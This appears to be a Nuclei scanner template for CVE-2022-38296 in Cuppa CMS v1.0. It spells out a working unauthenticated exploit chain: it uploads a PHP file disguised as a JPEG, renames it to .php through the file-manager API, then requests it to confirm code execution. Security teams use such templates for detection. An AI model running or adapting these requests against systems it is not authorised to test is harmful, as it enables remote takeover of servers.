id: CVE-2022-38296

info:
  name: Cuppa CMS v1.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38296
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38296
    cwe-id: CWE-434
    epss-score: 0.03893
    epss-percentile: 0.89205
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,rce,cuppa,intrusive,cuppacms,vuln,vkev

http:
  - raw:
      - |
        POST /js/jquery_file_upload/server/php/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI

        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="path"

        /
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="unique_name"

        true
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_width"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_height"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="crop"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="compress"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg"
        Content-Type: image/jpeg

        <?php

        echo md5("CVE-2022-38296");

        ?>
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI--
      - |
        POST /js/filemanager/api/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"}
      - |
        GET /media/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - ed6bf8b1b4b8e64836455fe32b958c2c
        condition: and

      - type: word
        part: header_3
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - '"name":"(.*?)",'
        internal: true
# digest: 490a004630440220148a06ea76512c4407ba30b6a60eddf591c3b1ac399ece7e85773e4eb5029ec202204964f5b049c8857b91fa7476f01237b344068bb2463a05fbf5e4e77701cc2023:922c64590222798bb761d5b6d8e72950